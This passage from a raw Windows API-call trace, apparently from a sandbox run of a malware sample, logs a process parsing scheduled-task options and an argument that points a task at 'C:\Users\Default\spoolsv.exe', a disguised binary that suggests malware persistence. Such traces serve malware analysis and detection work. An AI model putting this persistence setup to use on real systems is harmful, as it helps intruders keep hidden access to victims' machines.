(lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0159.243] SetLastError (dwErrCode=0x490) [0159.243] lstrlenW (lpString="rp") returned 2 [0159.243] lstrlenW (lpString="rp") returned 2 [0159.243] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.243] lstrlenW (lpString="tr") returned 2 [0159.243] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.243] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|rp|") returned 4 [0159.243] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tr|") returned 4 [0159.243] lstrlenW (lpString="|rp|") returned 4 [0159.243] lstrlenW (lpString="|tr|") returned 4 [0159.243] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0159.243] SetLastError (dwErrCode=0x490) [0159.243] lstrlenW (lpString="sc") returned 2 [0159.243] lstrlenW (lpString="sc") returned 2 [0159.244] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.244] lstrlenW (lpString="tr") returned 2 [0159.244] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.244] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|sc|") returned 4 [0159.244] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tr|") returned 4 [0159.244] lstrlenW (lpString="|sc|") returned 4 [0159.244] lstrlenW (lpString="|tr|") returned 4 [0159.244] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0159.244] SetLastError (dwErrCode=0x490) [0159.244] lstrlenW (lpString="mo") returned 2 [0159.244] lstrlenW (lpString="mo") returned 2 [0159.244] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.244] lstrlenW (lpString="tr") returned 2 [0159.244] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.244] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|mo|") returned 4 [0159.244] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tr|") returned 4 [0159.244] lstrlenW (lpString="|mo|") returned 4 [0159.244] lstrlenW (lpString="|tr|") returned 4 [0159.244] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0159.244] SetLastError (dwErrCode=0x490) [0159.244] lstrlenW (lpString="d") returned 1 [0159.244] lstrlenW (lpString="d") returned 1 [0159.244] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.244] lstrlenW (lpString="tr") returned 2 [0159.244] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.244] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|d|") returned 3 [0159.244] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tr|") returned 4 [0159.244] lstrlenW (lpString="|d|") returned 3 [0159.244] lstrlenW (lpString="|tr|") returned 4 [0159.244] SetLastError (dwErrCode=0x490) [0159.244] lstrlenW (lpString="m") returned 1 [0159.244] lstrlenW (lpString="m") returned 1 [0159.244] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.245] lstrlenW (lpString="tr") returned 2 [0159.245] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.245] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|m|") returned 3 [0159.245] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tr|") returned 4 [0159.245] lstrlenW (lpString="|m|") returned 3 [0159.245] lstrlenW (lpString="|tr|") returned 4 [0159.245] SetLastError (dwErrCode=0x490) [0159.245] lstrlenW (lpString="i") returned 1 [0159.245] lstrlenW (lpString="i") returned 1 [0159.245] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.245] lstrlenW (lpString="tr") returned 2 [0159.245] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.245] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|i|") returned 3 [0159.245] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tr|") returned 4 [0159.245] lstrlenW (lpString="|i|") returned 3 [0159.245] lstrlenW (lpString="|tr|") returned 4 [0159.245] SetLastError (dwErrCode=0x490) [0159.245] lstrlenW (lpString="tn") returned 2 [0159.245] lstrlenW (lpString="tn") returned 2 [0159.245] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.245] lstrlenW (lpString="tr") returned 2 [0159.245] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.245] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tn|") returned 4 [0159.245] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tr|") returned 4 [0159.245] lstrlenW (lpString="|tn|") returned 4 [0159.245] lstrlenW (lpString="|tr|") returned 4 [0159.245] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0159.245] SetLastError (dwErrCode=0x490) [0159.245] lstrlenW (lpString="tr") returned 2 [0159.245] lstrlenW (lpString="tr") returned 2 [0159.245] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.245] lstrlenW (lpString="tr") returned 2 [0159.245] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.246] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tr|") returned 4 [0159.246] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tr|") returned 4 [0159.246] lstrlenW (lpString="|tr|") returned 4 [0159.246] lstrlenW (lpString="|tr|") returned 4 [0159.246] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0159.246] SetLastError (dwErrCode=0x0) [0159.246] SetLastError (dwErrCode=0x0) [0159.246] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.246] lstrlenW (lpString="-/") returned 2 [0159.246] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0159.246] SetLastError (dwErrCode=0x490) [0159.246] SetLastError (dwErrCode=0x490) [0159.246] SetLastError (dwErrCode=0x0) [0159.246] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.246] StrChrIW (lpStart="'C:\\Users\\Default\\spoolsv.exe'", wMatch=0x3a) returned=":\\Users\\Default\\spoolsv.exe'" [0159.246] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.246] _memicmp (_Buf1=0x23d4d0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.246] _memicmp (_Buf1=0x23d510, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.246] SetLastError (dwErrCode=0x7a) [0159.246] SetLastError (dwErrCode=0x0) [0159.246] SetLastError (dwErrCode=0x0) [0159.246] lstrlenW (lpString="'C") returned 2 [0159.246] lstrlenW (lpString="-/") returned 2 [0159.246] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0159.246] SetLastError (dwErrCode=0x490) [0159.246] SetLastError (dwErrCode=0x490) [0159.246] SetLastError (dwErrCode=0x0) [0159.246] _memicmp (_Buf1=0x23d530, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.246] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.246] GetProcessHeap () returned 0x220000 [0159.246] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d550) returned 1 [0159.246] GetProcessHeap () returned 0x220000 [0159.246] RtlReAllocateHeap (Heap=0x220000, Flags=0xc, Ptr=0x23d550, Size=0x3e) returned 0x2392c0 [0159.246] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.246] lstrlenW (lpString=" \x09") returned 2 [0159.246] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0159.247] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0159.247] GetLastError () returned 0x0 [0159.247] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.247] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.247] SetLastError (dwErrCode=0x0) [0159.247] SetLastError (dwErrCode=0x0) [0159.247] lstrlenW (lpString="/f") returned 2 [0159.248] lstrlenW (lpString="-/") returned 2 [0159.248] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.248] lstrlenW (lpString="create") returned 6 [0159.248] lstrlenW (lpString="create") returned 6 [0159.248] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.248] lstrlenW (lpString="f") returned 1 [0159.248] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.248] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|create|") returned 8 [0159.248] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.248] lstrlenW (lpString="|create|") returned 8 [0159.248] lstrlenW (lpString="|f|") returned 3 [0159.248] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0159.248] SetLastError (dwErrCode=0x490) [0159.248] lstrlenW (lpString="?") returned 1 [0159.248] lstrlenW (lpString="?") returned 1 [0159.248] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.248] lstrlenW (lpString="f") returned 1 [0159.248] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.248] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|?|") returned 3 [0159.248] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.248] lstrlenW (lpString="|?|") returned 3 [0159.248] lstrlenW (lpString="|f|") returned 3 [0159.248] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0159.248] SetLastError (dwErrCode=0x490) [0159.248] lstrlenW (lpString="s") returned 1 [0159.248] lstrlenW (lpString="s") returned 1 [0159.248] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.248] lstrlenW (lpString="f") returned 1 [0159.248] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.248] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|s|") returned 3 [0159.248] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.248] lstrlenW (lpString="|s|") returned 3 [0159.249] lstrlenW (lpString="|f|") returned 3 [0159.249] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0159.249] SetLastError (dwErrCode=0x490) [0159.249] lstrlenW (lpString="u") returned 1 [0159.249] lstrlenW (lpString="u") returned 1 [0159.249] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.249] lstrlenW (lpString="f") returned 1 [0159.249] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.249] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|u|") returned 3 [0159.249] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.249] lstrlenW (lpString="|u|") returned 3 [0159.249] lstrlenW (lpString="|f|") returned 3 [0159.249] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0159.249] SetLastError (dwErrCode=0x490) [0159.249] lstrlenW (lpString="p") returned 1 [0159.249] lstrlenW (lpString="p") returned 1 [0159.249] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.249] lstrlenW (lpString="f") returned 1 [0159.249] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.249] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|p|") returned 3 [0159.249] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.249] lstrlenW (lpString="|p|") returned 3 [0159.249] lstrlenW (lpString="|f|") returned 3 [0159.249] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0159.249] SetLastError (dwErrCode=0x490) [0159.249] lstrlenW (lpString="ru") returned 2 [0159.249] lstrlenW (lpString="ru") returned 2 [0159.249] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.249] lstrlenW (lpString="f") returned 1 [0159.249] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.249] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|ru|") returned 4 [0159.249] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.249] lstrlenW (lpString="|ru|") returned 4 [0159.250] lstrlenW (lpString="|f|") returned 3 [0159.250] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0159.250] SetLastError (dwErrCode=0x490) [0159.250] lstrlenW (lpString="rp") returned 2 [0159.250] lstrlenW (lpString="rp") returned 2 [0159.250] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.250] lstrlenW (lpString="f") returned 1 [0159.250] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.250] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|rp|") returned 4 [0159.250] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.250] lstrlenW (lpString="|rp|") returned 4 [0159.250] lstrlenW (lpString="|f|") returned 3 [0159.250] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0159.250] SetLastError (dwErrCode=0x490) [0159.250] lstrlenW (lpString="sc") returned 2 [0159.250] lstrlenW (lpString="sc") returned 2 [0159.250] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.250] lstrlenW (lpString="f") returned 1 [0159.250] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.250] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|sc|") returned 4 [0159.250] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.250] lstrlenW (lpString="|sc|") returned 4 [0159.250] lstrlenW (lpString="|f|") returned 3 [0159.250] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0159.250] SetLastError (dwErrCode=0x490) [0159.250] lstrlenW (lpString="mo") returned 2 [0159.250] lstrlenW (lpString="mo") returned 2 [0159.250] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.250] lstrlenW (lpString="f") returned 1 [0159.250] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.250] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|mo|") returned 4 [0159.250] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.250] lstrlenW (lpString="|mo|") returned 4 [0159.250] lstrlenW (lpString="|f|") returned 3 [0159.251] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0159.251] SetLastError (dwErrCode=0x490) [0159.251] lstrlenW (lpString="d") returned 1 [0159.251] lstrlenW (lpString="d") returned 1 [0159.251] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.251] lstrlenW (lpString="f") returned 1 [0159.251] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.251] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|d|") returned 3 [0159.251] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.251] lstrlenW (lpString="|d|") returned 3 [0159.251] lstrlenW (lpString="|f|") returned 3 [0159.251] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0159.251] SetLastError (dwErrCode=0x490) [0159.251] lstrlenW (lpString="m") returned 1 [0159.251] lstrlenW (lpString="m") returned 1 [0159.251] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.251] lstrlenW (lpString="f") returned 1 [0159.251] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.251] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|m|") returned 3 [0159.251] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.251] lstrlenW (lpString="|m|") returned 3 [0159.251] lstrlenW (lpString="|f|") returned 3 [0159.251] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0159.251] SetLastError (dwErrCode=0x490) [0159.251] lstrlenW (lpString="i") returned 1 [0159.251] lstrlenW (lpString="i") returned 1 [0159.251] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.251] lstrlenW (lpString="f") returned 1 [0159.251] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.251] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|i|") returned 3 [0159.251] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.251] lstrlenW (lpString="|i|") returned 3 [0159.251] lstrlenW (lpString="|f|") returned 3 [0159.252] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0159.252] SetLastError (dwErrCode=0x490) [0159.252] lstrlenW (lpString="tn") returned 2 [0159.252] lstrlenW (lpString="tn") returned 2 [0159.252] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.252] lstrlenW (lpString="f") returned 1 [0159.252] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.252] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tn|") returned 4 [0159.252] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.252] lstrlenW (lpString="|tn|") returned 4 [0159.252] lstrlenW (lpString="|f|") returned 3 [0159.252] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0159.252] SetLastError (dwErrCode=0x490) [0159.252] lstrlenW (lpString="tr") returned 2 [0159.252] lstrlenW (lpString="tr") returned 2 [0159.252] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.252] lstrlenW (lpString="f") returned 1 [0159.252] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.252] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tr|") returned 4 [0159.252] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.252] lstrlenW (lpString="|tr|") returned 4 [0159.252] lstrlenW (lpString="|f|") returned 3 [0159.252] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0159.252] SetLastError (dwErrCode=0x490) [0159.252] lstrlenW (lpString="st") returned 2 [0159.252] lstrlenW (lpString="st") returned 2 [0159.252] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.252] lstrlenW (lpString="f") returned 1 [0159.252] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.252] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|st|") returned 4 [0159.252] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.252] lstrlenW (lpString="|st|") returned 4 [0159.253] lstrlenW (lpString="|f|") returned 3 [0159.253] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0159.253] SetLastError (dwErrCode=0x490) [0159.253] lstrlenW (lpString="sd") returned 2 [0159.253] lstrlenW (lpString="sd") returned 2 [0159.253] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.254] lstrlenW (lpString="f") returned 1 [0159.254] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.254] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|sd|") returned 4 [0159.254] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.254] lstrlenW (lpString="|sd|") returned 4 [0159.254] lstrlenW (lpString="|f|") returned 3 [0159.254] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0159.254] SetLastError (dwErrCode=0x490) [0159.254] lstrlenW (lpString="ed") returned 2 [0159.254] lstrlenW (lpString="ed") returned 2 [0159.254] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.254] lstrlenW (lpString="f") returned 1 [0159.254] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.254] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|ed|") returned 4 [0159.254] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.254] lstrlenW (lpString="|ed|") returned 4 [0159.254] lstrlenW (lpString="|f|") returned 3 [0159.254] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0159.254] SetLastError (dwErrCode=0x490) [0159.254] lstrlenW (lpString="it") returned 2 [0159.254] lstrlenW (lpString="it") returned 2 [0159.254] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.254] lstrlenW (lpString="f") returned 1 [0159.254] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.254] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|it|") returned 4 [0159.254] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.254] lstrlenW (lpString="|it|") returned 4 [0159.254] lstrlenW (lpString="|f|") returned 3 [0159.254] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0159.254] SetLastError (dwErrCode=0x490) [0159.254] lstrlenW (lpString="et") returned 2 [0159.254] lstrlenW (lpString="et") returned 2 [0159.254] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.255] lstrlenW (lpString="f") returned 1 [0159.255] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.255] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|et|") returned 4 [0159.255] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.255] lstrlenW (lpString="|et|") returned 4 [0159.255] lstrlenW (lpString="|f|") returned 3 [0159.255] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0159.255] SetLastError (dwErrCode=0x490) [0159.255] lstrlenW (lpString="k") returned 1 [0159.255] lstrlenW (lpString="k") returned 1 [0159.255] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.255] lstrlenW (lpString="f") returned 1 [0159.255] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.255] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", 